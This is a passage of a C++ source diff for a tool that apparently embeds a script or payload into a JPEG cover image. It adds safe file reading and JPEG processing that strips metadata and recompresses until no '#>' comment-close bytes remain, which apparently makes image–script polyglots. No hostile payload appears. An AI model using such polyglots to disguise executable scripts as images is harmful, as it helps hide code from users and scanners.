+    [[nodiscard]] OpenFileResult openRegularFileNoFollow(const fs::path& path) {
+        constexpr int OPEN_FLAGS = O_RDONLY | O_CLOEXEC | O_NOFOLLOW;
+
+        OpenFileResult result{ .fd = UniqueFd(::open(path.c_str(), OPEN_FLAGS)) };
+
+        if (result.fd.get() < 0) {
+            const int error_code = errno;
+
+            if (error_code == ENOENT) {
+                throw std::runtime_error(std::format("Error: File \"{}\" not found.", path.string()));
+            }
+            if (error_code == ELOOP) {
+                throw std::runtime_error("Error: Symbolic links are not permitted.");
+            }
+
+            throwPathError("Failed to open file", path, error_code);
+        }
+
+        if (::fstat(result.fd.get(), &result.status) != 0) {
+            throwPathError("Failed to stat file", path, errno);
+        }
+
+        if (!S_ISREG(result.status.st_mode)) {
+            throw std::runtime_error(std::format("Error: \"{}\" is not a regular file.", path.string()));
+        }
+
+        return result;
+    }
+
+    [[nodiscard]] std::size_t fileSizeFromStat(const fs::path& path, const struct stat& status) {
+        if (status.st_size <= 0) {
+            throw std::runtime_error("Error: File is empty.");
+        }
+
+        const auto raw_size = static_cast<std::uintmax_t>(status.st_size);
+        if (raw_size > static_cast<std::uintmax_t>(std::numeric_limits<std::size_t>::max())) {
+            throw std::runtime_error(std::format("Error: File \"{}\" is too large to process on this platform.", path.string()));
+        }
+
+        return static_cast<std::size_t>(raw_size);
+    }
+
+    void validateFileType(const fs::path& path, std::size_t file_size, FileTypeCheck file_type) {
+        switch (file_type) {
+            case FileTypeCheck::cover_image:
+                validateCoverImageFile(path, file_size);
+                return;
+
+            case FileTypeCheck::script_file:
+                validateScriptFile(path, file_size);
+                return;
+
+            case FileTypeCheck::payload_file:
+                validatePayloadFile(path, file_size);
+                return;
+        }
+        throw std::runtime_error("Internal Error: Unknown file type check.");
+    }
+
+    void readExact(const fs::path& path, int fd, std::span<Byte> buffer) {
+        while (!buffer.empty()) {
+            const auto chunk_size = std::min<std::size_t>(buffer.size(), static_cast<std::size_t>(std::numeric_limits<ssize_t>::max()));
+            const auto bytes_read = ::read(fd, buffer.data(), chunk_size);
+
+            if (bytes_read > 0) {
+                buffer = buffer.subspan(static_cast<std::size_t>(bytes_read));
+                continue;
+            }
+            if (bytes_read == 0) {
+                throw std::runtime_error("Failed to read full file: unexpected EOF.");
+            }
+            if (errno != EINTR) {
+                throwPathError("Failed to read file", path, errno);
+            }
+        }
+    }
+
+    [[nodiscard]] bool sameTimestamp(const timespec& lhs, const timespec& rhs) {
+        return lhs.tv_sec == rhs.tv_sec && lhs.tv_nsec == rhs.tv_nsec;
+    }
+
+#ifdef __APPLE__
+#define JPWS_ST_MTIM st_mtimespec
+#define JPWS_ST_CTIM st_ctimespec
+#else
+#define JPWS_ST_MTIM st_mtim
+#define JPWS_ST_CTIM st_ctim
+#endif
+
+    void verifyFileUnchanged(const fs::path& path, int fd, const struct stat& expected_status, std::size_t expected_size) {
+        struct stat current_status{};
+
+        if (::fstat(fd, &current_status) != 0) {
+            throwPathError("Failed to stat file after read", path, errno);
+        }
+
+        if (!S_ISREG(current_status.st_mode)) {
+            throw std::runtime_error(std::format("Error: \"{}\" is no longer a regular file.", path.string()));
+        }
+
+        if (current_status.st_dev != expected_status.st_dev ||
+            current_status.st_ino != expected_status.st_ino ||
+            current_status.st_mode != expected_status.st_mode ||
+            current_status.st_size < 0 ||
+            static_cast<std::uintmax_t>(current_status.st_size) != static_cast<std::uintmax_t>(expected_size) ||
+            !sameTimestamp(current_status.JPWS_ST_MTIM, expected_status.JPWS_ST_MTIM) ||
+            !sameTimestamp(current_status.JPWS_ST_CTIM, expected_status.JPWS_ST_CTIM)) {
+            throw std::runtime_error(std::format("Error: File \"{}\" changed while it was being read.", path.string()));
+        }
+    }
+
+    void validateJpegOrPngMarker(std::span<const Byte> bytes);  // forward decl
+}
+
+[[nodiscard]] static bool isPng(std::span<const Byte> bytes) {
+    constexpr std::array<Byte, 4> PNG_SIG = {
+        static_cast<Byte>(0x89), static_cast<Byte>(0x50),
+        static_cast<Byte>(0x4E), static_cast<Byte>(0x47)
+    };
+    return bytes.size() >= 4 &&
+           std::ranges::equal(bytes.first(4), std::span<const Byte>(PNG_SIG));
+}
+
+namespace {
+    void validateJpegOrPngMarker(std::span<const Byte> bytes) {
+        if (bytes.size() < 2) {
+            throw std::runtime_error("File Type Error: File too small.");
+        }
+        const bool is_jpeg = bytes[0] == 0xFF && bytes[1] == 0xD8;
+        const bool is_png_val  = isPng(bytes);
+        if (!is_jpeg && !is_png_val) {
+            throw std::runtime_error(
+                "File Type Error: Not a valid JPEG or PNG (missing SOI/PNG signature).");
+        }
+    }
+}
+
+// Converts a PNG (or any stb_image-supported format) to JPEG in memory.
+// Uses stb_image to decode, then libjpeg-turbo to re-encode as progressive JPEG.
+[[nodiscard]] vBytes convertPngToJpeg(std::span<const Byte> img_data) {
+    int w = 0, h = 0, channels = 0;
+    unsigned char* pixels = stbi_load_from_memory(
+        reinterpret_cast<const stbi_uc*>(img_data.data()),
+        static_cast<int>(img_data.size()),
+        &w, &h, &channels,
+        3  // force RGB output
+    );
+    if (!pixels) {
+        throw std::runtime_error("Image Error: Failed to decode PNG (stb_image error).");
+    }
+
+    unsigned char* jpeg_buf = nullptr;
+    unsigned long  jpeg_size = 0;
+    tjhandle tj = tjInitCompress();
+    if (!tj) {
+        stbi_image_free(pixels);
+        throw std::runtime_error("Image Error: tjInitCompress failed during PNG conversion.");
+    }
+
+    constexpr int QUALITY = 92;
+    if (tjCompress2(tj, pixels, w, 0, h, TJPF_RGB,
+                    &jpeg_buf, &jpeg_size,
+                    TJSAMP_444, QUALITY, TJFLAG_PROGRESSIVE) != 0) {
+        const std::string err = tjGetErrorStr2(tj);
+        stbi_image_free(pixels);
+        tjDestroy(tj);
+        throw std::runtime_error(std::format("Image Error: PNG→JPEG encoding failed: {}", err));
+    }
+
+    vBytes result(jpeg_buf, jpeg_buf + jpeg_size);
+    tjFree(jpeg_buf);
+    tjDestroy(tj);
+    stbi_image_free(pixels);
+    return result;
+}
+
+vBytes readFile(const fs::path& path, FileTypeCheck file_type) {
+    if (!hasValidFilename(path)) {
+        throw std::runtime_error("Invalid Input Error: Unsupported characters in filename arguments.");
+    }
+
+    auto open_file = openRegularFileNoFollow(path);
+    const std::size_t file_size = fileSizeFromStat(path, open_file.status);
+    validateFileType(path, file_size, file_type);
+
+    vBytes vec(file_size);
+    readExact(path, open_file.fd.get(), vec);
+    verifyFileUnchanged(path, open_file.fd.get(), open_file.status, file_size);
+
+    if (file_type == FileTypeCheck::cover_image) {
+        validateJpegOrPngMarker(vec);
+        // If the cover is PNG, convert it to JPEG transparently.
+        // The engine only processes JPEG, so PNG must be converted first.
+        if (isPng(vec)) {
+            vec = convertPngToJpeg(vec);
+        }
+    }
+
+    return vec;
+}

src/file_utils.h

@@ -0,0 +1,16 @@
+#pragma once
+
+#include "common.h"
+
+#include <cstddef>
+#include <filesystem>
+
+enum class FileTypeCheck : std::uint8_t {
+    cover_image  = 1,
+    script_file  = 2,
+    payload_file = 3
+};
+
+[[nodiscard]] vBytes readFile(
+    const std::filesystem::path& path,
+    FileTypeCheck file_type = FileTypeCheck::script_file);

src/jpeg_process.cpp

@@ -0,0 +1,784 @@
+#define STB_IMAGE_RESIZE_IMPLEMENTATION
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wconversion"
+#pragma GCC diagnostic ignored "-Wsign-conversion"
+#include "stb_image/include/stb_image_resize2.h"
+#pragma GCC diagnostic pop
+
+#include "jpeg_process.h"
+
+#include <turbojpeg.h>
+
+#include <algorithm>
+#include <array>
+#include <cstdint>
+#include <cstdio>
+#include <cstring>
+#include <format>
+#include <iostream>
+#include <limits>
+#include <optional>
+#include <print>
+#include <span>
+#include <stdexcept>
+#include <string_view>
+#include <utility>
+
+namespace {
+    constexpr int MIN_COVER_IMAGE_DIMENSION = 400;
+    constexpr int MAX_COVER_IMAGE_DIMENSION = 8'192;
+    constexpr std::size_t MAX_COVER_IMAGE_PIXELS = 25'000'000;
+    constexpr std::size_t JFIF_COMPATIBILITY_MARKER_INDEX = 0x0D;
+    constexpr int START_QUALITY = 97;
+    constexpr int MIN_SAME_DIMENSION_QUALITY = 75;
+    constexpr int MIN_JPEG_QUALITY = 1;
+    constexpr int MAX_JPEG_QUALITY = 100;
+    constexpr int MAX_RESIZE_ATTEMPTS = 300;
+    constexpr int PROGRESSIVE_JPEG_FLAGS = TJFLAG_PROGRESSIVE;
+    constexpr int DECODE_PIXEL_FORMAT = TJPF_RGB;
+    constexpr int DECODE_BYTES_PER_PIXEL = 3;
+    constexpr stbir_pixel_layout RESIZE_PIXEL_LAYOUT = STBIR_RGB;
+    constexpr auto COMMENT_BLOCK_CLOSE_SIG = std::to_array<Byte>({ 0x23, 0x3E });
+    constexpr auto CLEAN_JFIF_SIG = std::to_array<Byte>({
+        0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46,
+        0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00
+    });
+
+    struct ImageSize {
+        int width = 0;
+        int height = 0;
+    };
+
+    struct JpegSegment {
+        Byte marker = 0;
+        std::size_t marker_offset = 0;
+        std::size_t payload_offset = 0;
+        std::size_t payload_size = 0;
+    };
+
+    constexpr Byte JPEG_MARKER_SOS = 0xDA;
+    constexpr Byte JPEG_MARKER_DQT = 0xDB;
+    constexpr Byte JPEG_MARKER_APP1 = 0xE1;
+
+    [[nodiscard]] bool containsCommentBlockClose(std::span<const Byte> jpg) {
+        if (jpg.size() < 2) {
+            return false;
+        }
+
+        const Byte* cursor = jpg.data();
+        const Byte* const last_candidate = jpg.data() + (jpg.size() - 1);
+
+        while (cursor < last_candidate) {
+            const auto remaining = static_cast<std::size_t>(last_candidate - cursor);
+            const void* hit = std::memchr(cursor, COMMENT_BLOCK_CLOSE_SIG[0], remaining);
+            if (hit == nullptr) {
+                return false;
+            }
+
+            const auto* pos = static_cast<const Byte*>(hit);
+            if (pos[1] == COMMENT_BLOCK_CLOSE_SIG[1]) {
+                return true;
+            }
+
+            cursor = pos + 1;
+        }
+
+        return false;
+    }
+
+    [[nodiscard]] std::optional<uint16_t> readBigEndian16(std::span<const Byte> bytes, std::size_t offset) {
+        if (offset > bytes.size() || bytes.size() - offset < 2) {
+            return std::nullopt;
+        }
+
+        return static_cast<uint16_t>((static_cast<uint16_t>(bytes[offset]) << 8) |
+                                     static_cast<uint16_t>(bytes[offset + 1]));
+    }
+
+    [[nodiscard]] bool markerHasNoPayload(Byte marker) {
+        return marker == 0x01 || marker == 0xD8 || marker == 0xD9 ||
+               (marker >= 0xD0 && marker <= 0xD7);
+    }
+
+    template <typename Predicate>
+    [[nodiscard]] std::optional<JpegSegment> findJpegHeaderSegment(std::span<const Byte> jpg, Predicate predicate) {
+        if (jpg.size() < 2 || jpg[0] != 0xFF || jpg[1] != 0xD8) {
+            return std::nullopt;
+        }
+
+        std::size_t pos = 2;
+
+        while (pos < jpg.size()) {
+            if (jpg[pos] != 0xFF) {
+                return std::nullopt;
+            }
+
+            const std::size_t marker_offset = pos;
+
+            while (pos < jpg.size() && jpg[pos] == 0xFF) {
+                ++pos;
+            }
+
+            if (pos >= jpg.size()) {
+                return std::nullopt;
+            }
+
+            const Byte marker = jpg[pos++];
+
+            if (marker == 0x00) {
+                return std::nullopt;
+            }
+
+            if (markerHasNoPayload(marker)) {
+                continue;
+            }
+
+            const auto segment_length_opt = readBigEndian16(jpg, pos);
+            if (!segment_length_opt) {
+                return std::nullopt;
+            }
+
+            const std::size_t segment_length = *segment_length_opt;
+            if (segment_length < 2 || pos > jpg.size() - segment_length) {
+                return std::nullopt;
+            }
+
+            const std::size_t payload_offset = pos + 2;
+            const JpegSegment segment{
+                .marker = marker,
+                .marker_offset = marker_offset,
+                .payload_offset = payload_offset,
+                .payload_size = segment_length - 2
+            };
+
+            if (predicate(segment)) {
+                return segment;
+            }
+
+            if (marker == JPEG_MARKER_SOS) {
+                return std::nullopt;
+            }
+
+            pos += segment_length;
+        }
+
+        return std::nullopt;
+    }
+
+    [[nodiscard]] std::size_t checkedPixelCount(int width, int height) {
+        if (width <= 0 || height <= 0) {
+            throw std::runtime_error("Image Error: Invalid image dimensions.");
+        }
+
+        const auto pixel_count = static_cast<std::size_t>(width) * static_cast<std::size_t>(height);
+        if (pixel_count > MAX_COVER_IMAGE_PIXELS) {
+            throw std::runtime_error("Image Error: Pixel count exceeds the supported maximum of 25 megapixels.");
+        }
+
+        return pixel_count;
+    }
+
+    void validateImageDimensions(int width, int height) {
+        if (width < MIN_COVER_IMAGE_DIMENSION || height < MIN_COVER_IMAGE_DIMENSION) {
+            throw std::runtime_error("Image Error: Dimensions are too small.\nFor platform compatibility, cover image must be at least 400px for both width and height.");
+        }
+
+        if (width > MAX_COVER_IMAGE_DIMENSION || height > MAX_COVER_IMAGE_DIMENSION) {
+            throw std::runtime_error(std::format("Image Error: Dimensions exceed the supported maximum of {}px.", MAX_COVER_IMAGE_DIMENSION));
+        }
+
+        (void)checkedPixelCount(width, height);
+    }
+
+    [[nodiscard]] std::size_t checkedPixelBufferSize(int width, int height, int bytes_per_pixel) {
+        if (bytes_per_pixel <= 0) {
+            throw std::runtime_error("Image Error: Invalid pixel format.");
+        }
+
+        const auto pixel_count = checkedPixelCount(width, height);
+        if (pixel_count > std::numeric_limits<std::size_t>::max() / static_cast<std::size_t>(bytes_per_pixel)) {
+            throw std::runtime_error("Image dimensions too large for pixel buffer allocation.");
+        }
+
+        return pixel_count * static_cast<std::size_t>(bytes_per_pixel);
+    }
+
+    [[nodiscard]] bool hasCompatibleJfifHeader(std::span<const Byte> jpg) {
+        constexpr auto COMPATIBLE_JFIF_SIG = std::to_array<Byte>({
+            0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46,
+            0x00, 0x01, 0x01, 0x19, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00
+        });
+
+        return jpg.size() >= COMPATIBLE_JFIF_SIG.size() &&
+               std::ranges::equal(jpg.first(COMPATIBLE_JFIF_SIG.size()), COMPATIBLE_JFIF_SIG);
+    }
+
+    [[nodiscard]] bool isAlreadyCompatible(std::span<const Byte> jpg) {
+        return hasCompatibleJfifHeader(jpg) && !containsCommentBlockClose(jpg);
+    }
+
+    struct TiffReader {
+        std::span<const Byte> bytes;
+        bool little_endian = false;
+
+        [[nodiscard]] std::optional<uint16_t> read16(std::size_t offset) const {
+            if (offset > bytes.size() || bytes.size() - offset < 2) {
+                return std::nullopt;
+            }
+
+            if (little_endian) {
+                return static_cast<uint16_t>(static_cast<uint16_t>(bytes[offset]) |
+                                             (static_cast<uint16_t>(bytes[offset + 1]) << 8));
+            }
+
+            return static_cast<uint16_t>((static_cast<uint16_t>(bytes[offset]) << 8) |
+                                         static_cast<uint16_t>(bytes[offset + 1]));
+        }
+
+        [[nodiscard]] std::optional<uint32_t> read32(std::size_t offset) const {
+            if (offset > bytes.size() || bytes.size() - offset < 4) {
+                return std::nullopt;
+            }
+
+            if (little_endian) {
+                return static_cast<uint32_t>(bytes[offset]) |
+                       (static_cast<uint32_t>(bytes[offset + 1]) << 8) |
+                       (static_cast<uint32_t>(bytes[offset + 2]) << 16) |
+                       (static_cast<uint32_t>(bytes[offset + 3]) << 24);
+            }
+
+            return (static_cast<uint32_t>(bytes[offset]) << 24) |
+                   (static_cast<uint32_t>(bytes[offset + 1]) << 16) |
+                   (static_cast<uint32_t>(bytes[offset + 2]) << 8) |
+                   static_cast<uint32_t>(bytes[offset + 3]);
+        }
+    };
+
+    [[nodiscard]] std::optional<bool> tiffIsLittleEndian(std::span<const Byte> tiff_data) {
+        if (tiff_data.size() < 2) {
+            return std::nullopt;
+        }
+        if (tiff_data[0] == 'I' && tiff_data[1] == 'I') {
+            return true;
+        }
+        if (tiff_data[0] == 'M' && tiff_data[1] == 'M') {
+            return false;
+        }
+        return std::nullopt;
+    }
+
+    [[nodiscard]] std::optional<uint16_t> exifOrientation(std::span<const Byte> jpg) {
+        constexpr std::size_t EXIF_HEADER_SIZE = 6;
+        constexpr auto EXIF_SIG = std::to_array<Byte>({'E', 'x', 'i', 'f', '\0', '\0'});
+
+        const auto exif_segment = findJpegHeaderSegment(jpg, [&](const JpegSegment& segment) {
+            return segment.marker == JPEG_MARKER_APP1 &&
+                   segment.payload_size >= EXIF_HEADER_SIZE &&
+                   std::ranges::equal(jpg.subspan(segment.payload_offset, EXIF_HEADER_SIZE), EXIF_SIG);
+        });
+
+        if (!exif_segment) {
+            return std::nullopt;
+        }
+
+        std::span<const Byte> payload = jpg.subspan(exif_segment->payload_offset, exif_segment->payload_size);
+        std::span<const Byte> tiff_data = payload.subspan(EXIF_HEADER_SIZE);
+
+        if (tiff_data.size() < 8) return std::nullopt;
+
+        const auto little_endian = tiffIsLittleEndian(tiff_data);
+        if (!little_endian) return std::nullopt;
+
+        const TiffReader tiff{ .bytes = tiff_data, .little_endian = *little_endian };
+
+        if (tiff.read16(2) != 0x002A) return std::nullopt;
+
+        const auto ifd_offset = tiff.read32(4);
+        if (!ifd_offset) return std::nullopt;
+
+        // Need at least 2 bytes at ifd_offset for the entry count.
+        if (*ifd_offset < 8 ||
+            static_cast<std::size_t>(*ifd_offset) > tiff_data.size() ||
+            tiff_data.size() - static_cast<std::size_t>(*ifd_offset) < 2) {
+            return std::nullopt;
+        }
+
+        const auto entry_count = tiff.read16(*ifd_offset);
+        if (!entry_count) return std::nullopt;
+
+        const std::size_t entries_offset = static_cast<std::size_t>(*ifd_offset) + 2;
+
+        constexpr uint16_t TAG_ORIENTATION = 0x0112;
+        constexpr uint16_t TIFF_TYPE_SHORT = 3;
+        constexpr std::size_t ENTRY_SIZE = 12;
+
+        // Bound the loop to the number of entries that actually fit — guards
+        // against a malicious entry_count larger than the payload allows.
+        const std::size_t max_entries =
+            (tiff_data.size() - entries_offset) / ENTRY_SIZE;
+        const std::size_t bounded_count =
+            std::min<std::size_t>(*entry_count, max_entries);
+
+        for (std::size_t i = 0, current_entry = entries_offset; i < bounded_count; ++i, current_entry += ENTRY_SIZE) {
+            const auto tag_id = tiff.read16(current_entry);
+            if (tag_id == TAG_ORIENTATION) {
+                const auto type = tiff.read16(current_entry + 2);
+                const auto count = tiff.read32(current_entry + 4);
+                const auto value = tiff.read16(current_entry + 8);
+
+                if (!type || !count || !value ||
+                    *type != TIFF_TYPE_SHORT || *count != 1) {
+                    return std::nullopt;
+                }
+                return value;
+            }
+        }
+        return std::nullopt;
+    }
+
+    [[nodiscard]] int getTransformOp(uint16_t orientation) {
+        switch (orientation) {
+            case 2: return TJXOP_HFLIP;
+            case 3: return TJXOP_ROT180;
+            case 4: return TJXOP_VFLIP;
+            case 5: return TJXOP_TRANSPOSE;
+            case 6: return TJXOP_ROT90;
+            case 7: return TJXOP_TRANSVERSE;
+            case 8: return TJXOP_ROT270;
+            default: return TJXOP_NONE;
+        }
+    }
+
+    struct TJHandle {
+        tjhandle handle = nullptr;
+        explicit TJHandle(tjhandle raw_handle = nullptr) : handle(raw_handle) {}
+        ~TJHandle() { if (handle) tjDestroy(handle); }
+        TJHandle(const TJHandle&) = delete;
+        TJHandle& operator=(const TJHandle&) = delete;
+        TJHandle(TJHandle&& other) noexcept : handle(std::exchange(other.handle, nullptr)) {}
+        TJHandle& operator=(TJHandle&& other) noexcept {
+            if (this != &other) {
+                if (handle) tjDestroy(handle);
+                handle = std::exchange(other.handle, nullptr);
+            }
+            return *this;
+        }
+        [[nodiscard]] tjhandle get() const { return handle; }
+        [[nodiscard]] explicit operator bool() const { return handle != nullptr; }
+    };
+
+    [[nodiscard]] TJHandle makeHandle(tjhandle raw_handle, std::string_view init_name) {
+        if (!raw_handle) {
+            throw std::runtime_error(std::format("{} failed.", init_name));
+        }
+        return TJHandle(raw_handle);
+    }
+
+    [[nodiscard]] unsigned long toTurboJpegSize(std::size_t size) {
+        if (size == 0 || size > static_cast<std::size_t>(std::numeric_limits<unsigned long>::max())) {
+            throw std::runtime_error("Image Error: JPEG buffer size is unsupported by TurboJPEG.");
+        }
+        return static_cast<unsigned long>(size);
+    }
+
+    [[nodiscard]] ImageSize readJpegSize(tjhandle handle, std::span<const Byte> jpg, std::string_view error_prefix) {
+        ImageSize size{};
+        int jpeg_subsamp = 0;
+        int jpeg_colorspace = 0;
+
+        if (tjDecompressHeader3(
+                handle,
+                jpg.data(),
+                toTurboJpegSize(jpg.size()),
+                &size.width,
+                &size.height,
+                &jpeg_subsamp,
+                &jpeg_colorspace) != 0) {
+            throw std::runtime_error(std::format("{}: {}", error_prefix, tjGetErrorStr2(handle)));
+        }
+
+        validateImageDimensions(size.width, size.height);
+        return size;
+    }
+
+    void validateJpegHeader(std::span<const Byte> jpg) {
+        auto decompressor = makeHandle(tjInitDecompress(), "tjInitDecompress()");
+        (void)readJpegSize(decompressor.get(), jpg, "Image Error");
+    }
+
+    struct TJBuffer {
+        unsigned char* data = nullptr;
+        TJBuffer() = default;
+        ~TJBuffer() { if (data) tjFree(data); }
+        TJBuffer(const TJBuffer&) = delete;
+        TJBuffer& operator=(const TJBuffer&) = delete;
+    };
+
+    void assignFromTJBuffer(vBytes& out, const TJBuffer& buffer, unsigned long byte_count) {
+        if (!buffer.data || byte_count == 0) {
+            throw std::runtime_error("Image Error: TurboJPEG produced an empty output buffer.");
+        }
+
+        if (byte_count > static_cast<unsigned long>(std::numeric_limits<std::size_t>::max()) ||
+            byte_count > static_cast<unsigned long>(std::numeric_limits<std::ptrdiff_t>::max())) {
+            throw std::runtime_error("Image Error: TurboJPEG output is too large to store on this platform.");
+        }
+
+        const auto size = static_cast<std::size_t>(byte_count);
+        out.assign(buffer.data, buffer.data + size);
+    }
+
+    struct DecodedImage {
+        ImageSize size{};
+        vBytes pixels;
+    };
+
+    struct EncodeCandidate {
+        int subsamp = TJSAMP_444;
+        int flags = PROGRESSIVE_JPEG_FLAGS;
+        std::string_view label;
+    };
+
+    constexpr auto ENCODE_CANDIDATES = std::to_array<EncodeCandidate>({
+        EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS, .label = "4:4:4 default" },
+        EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS | TJFLAG_ACCURATEDCT, .label = "4:4:4 accurate" },
+        EncodeCandidate{ .subsamp = TJSAMP_444, .flags = PROGRESSIVE_JPEG_FLAGS | TJFLAG_FASTDCT, .label = "4:4:4 fast" }
+    });
+
+    void validateJpegQuality(int quality_val) {
+        if (quality_val < MIN_JPEG_QUALITY || quality_val > MAX_JPEG_QUALITY) {
+            throw std::runtime_error("Image Error: JPEG quality value is outside the supported range.");
+        }
+    }
+
+    void printEncodeProgress(std::string_view phase, std::string_view detail, int quality_val, int width, int height) {
+        std::print("\r{:<10} {:<14} | Quality: {:>3}% | Width: {:>5} | Height: {:>5}",
+            phase,
+            detail,
+            quality_val,
+            width,
+            height);
+        std::fflush(stdout);
+    }
+
+    void compressPixelsToJpeg(
+        vBytes& image_file_vec,
+        std::span<const Byte> pixels,
+        ImageSize size,
+        tjhandle compressor,
+        int quality_val,
+        const EncodeCandidate& candidate) {
+
+        validateJpegQuality(quality_val);
+
+        if (pixels.empty()) {
+            throw std::runtime_error("Image Error: Empty pixel buffer.");
+        }
+        if ((candidate.flags & TJFLAG_PROGRESSIVE) == 0) {
+            throw std::runtime_error("Internal Error: JPEG compression candidate is not progressive.");
+        }
+
+        TJBuffer jpegBuf;
+        unsigned long jpegSize = 0;
+
+        if (tjCompress2(
+                compressor,
+                pixels.data(),
+                size.width,
+                0,
+                size.height,
+                DECODE_PIXEL_FORMAT,
+                &jpegBuf.data,
+                &jpegSize,
+                candidate.subsamp,
+                quality_val,
+                candidate.flags) != 0) {
+            throw std::runtime_error(std::format("tjCompress2: {}", tjGetErrorStr2(compressor)));
+        }
+
+        assignFromTJBuffer(image_file_vec, jpegBuf, jpegSize);
+    }
+
+    [[nodiscard]] DecodedImage decodeJpeg(std::span<const Byte> jpg) {
+        auto decompressor = makeHandle(tjInitDecompress(), "tjInitDecompress()");
+        const auto image_size = readJpegSize(decompressor.get(), jpg, "tjDecompressHeader3");
+
+        vBytes decoded_image_vec(checkedPixelBufferSize(image_size.width, image_size.height, DECODE_BYTES_PER_PIXEL));
+
+        if (tjDecompress2(
+                decompressor.get(),
+                jpg.data(),
+                toTurboJpegSize(jpg.size()),
+                decoded_image_vec.data(),
+                image_size.width,
+                0,
+                image_size.height,
+                DECODE_PIXEL_FORMAT,
+                0) != 0) {
+            throw std::runtime_error(std::format("tjDecompress2: {}", tjGetErrorStr2(decompressor.get())));
+        }
+
+        return DecodedImage{
+            .size = image_size,
+            .pixels = std::move(decoded_image_vec)
+        };
+    }
+
+    void optimizeImage(vBytes& jpg_vec) {
+        if (jpg_vec.empty()) {
+            throw std::runtime_error("JPG image is empty!");
+        }
+
+        auto transformer = makeHandle(tjInitTransform(), "tjInitTransform()");
+        (void)readJpegSize(transformer.get(), jpg_vec, "Image Error");
+
+        tjtransform xform{};
+        xform.op = getTransformOp(exifOrientation(jpg_vec).value_or(1));
+        xform.options = TJXOPT_COPYNONE | TJXOPT_TRIM | TJXOPT_PROGRESSIVE;
+
+        TJBuffer dstBuffer;
+        unsigned long dstSize = 0;
+
+        if (tjTransform(
+                transformer.get(),
+                jpg_vec.data(),
+                toTurboJpegSize(jpg_vec.size()),
+                1,
+                &dstBuffer.data,
+                &dstSize,
+                &xform,
+                0) != 0) {
+            throw std::runtime_error(std::format("Image Error: {}", tjGetErrorStr2(transformer.get())));
+        }
+
+        assignFromTJBuffer(jpg_vec, dstBuffer, dstSize);
+    }
+
+    void resizeImage(
+        vBytes& image_file_vec,
+        const DecodedImage& source,
+        vBytes& resize_scratch,
+        tjhandle compressor,
+        int quality_val,
+        int decrease_dims_val,
+        const EncodeCandidate& candidate) {
+
+        validateJpegQuality(quality_val);
+
+        if (source.size.width < decrease_dims_val || source.size.height < decrease_dims_val) {
+            throw std::runtime_error(std::format("Image is too small to decrease by {} pixels.", decrease_dims_val));
+        }
+
+        const int new_width  = source.size.width  - decrease_dims_val;
+        const int new_height = source.size.height - decrease_dims_val;
+
+        if (new_width < MIN_COVER_IMAGE_DIMENSION || new_height < MIN_COVER_IMAGE_DIMENSION) {
+            throw std::runtime_error("Image Compatibility Error: Unable to remove close-comment block sequences without shrinking below the 400px minimum.");
+        }
+
+        printEncodeProgress("Resize", candidate.label, quality_val, new_width, new_height);
+
+        resize_scratch.resize(checkedPixelBufferSize(new_width, new_height, DECODE_BYTES_PER_PIXEL));
+
+        if (!stbir_resize_uint8_srgb(source.pixels.data(), source.size.width, source.size.height, 0, resize_scratch.data(), new_width, new_height, 0, RESIZE_PIXEL_LAYOUT)) {
+            throw std::runtime_error("stbir_resize_uint8_srgb failed.");
+        }
+
+        compressPixelsToJpeg(
+            image_file_vec,
+            resize_scratch,
+            ImageSize{ .width = new_width, .height = new_height },
+            compressor,
+            quality_val,
+            candidate);
+    }
+
+    [[nodiscard]] std::size_t findRequiredDqtOffset(std::span<const Byte> jpg) {
+        const auto dqt = findJpegHeaderSegment(jpg, [](const JpegSegment& segment) {
+            return segment.marker == JPEG_MARKER_DQT;
+        });
+
+        if (!dqt) {
+            throw std::runtime_error("Image File Error: No DQT segment found (corrupt or unsupported JPG).");
+        }
+
+        return dqt->marker_offset;
+    }
+
+    constexpr int AUTO_DOWNSCALE_MAX_DIM = 2048;
+
+    void downscaleToFit(vBytes& image_file_vec, int max_dim) {
+        const DecodedImage source = decodeJpeg(image_file_vec);
+
+        const int orig_w = source.size.width;
+        const int orig_h = source.size.height;
+        const int max_current = std::max(orig_w, orig_h);
+
+        if (max_current <= max_dim) return;
+
+        const double scale = static_cast<double>(max_dim) / static_cast<double>(max_current);
+        const int new_w = std::max(MIN_COVER_IMAGE_DIMENSION, static_cast<int>(static_cast<double>(orig_w) * scale));
+        const int new_h = std::max(MIN_COVER_IMAGE_DIMENSION, static_cast<int>(static_cast<double>(orig_h) * scale));
+
+        vBytes resized_pixels(checkedPixelBufferSize(new_w, new_h, DECODE_BYTES_PER_PIXEL));
+
+        if (!stbir_resize_uint8_srgb(
+                source.pixels.data(), orig_w, orig_h, 0,
+                resized_pixels.data(), new_w, new_h, 0, RESIZE_PIXEL_LAYOUT)) {
+            throw std::runtime_error("Image Error: Failed to downscale image.");
+        }
+
+        auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
+        compressPixelsToJpeg(
+            image_file_vec, resized_pixels,
+            ImageSize{ .width = new_w, .height = new_h },
+            compressor.get(), START_QUALITY, ENCODE_CANDIDATES[0]);
+
+        std::println("Auto-downscaled from {}x{} to {}x{} for processing efficiency.", orig_w, orig_h, new_w, new_h);
+    }
+
+    void replaceLeadingMetadataWithCleanJfif(vBytes& image_file_vec) {
+        const std::size_t dqt_pos = findRequiredDqtOffset(image_file_vec);
+
+        vBytes cleaned;
+        cleaned.reserve(CLEAN_JFIF_SIG.size() + image_file_vec.size() - dqt_pos);
+        cleaned.insert(cleaned.end(), CLEAN_JFIF_SIG.begin(), CLEAN_JFIF_SIG.end());
+        cleaned.insert(cleaned.end(),
+            image_file_vec.begin() + static_cast<std::ptrdiff_t>(dqt_pos),
+            image_file_vec.end());
+
+        image_file_vec = std::move(cleaned);
+        validateJpegHeader(image_file_vec);
+    }
+
+    [[nodiscard]] bool recompressSameDimensionsUntilCommentBlockFree(vBytes& image_file_vec) {
+        const DecodedImage source = decodeJpeg(image_file_vec);
+        auto compressor = makeHandle(tjInitCompress(), "tjInitCompress()");
+
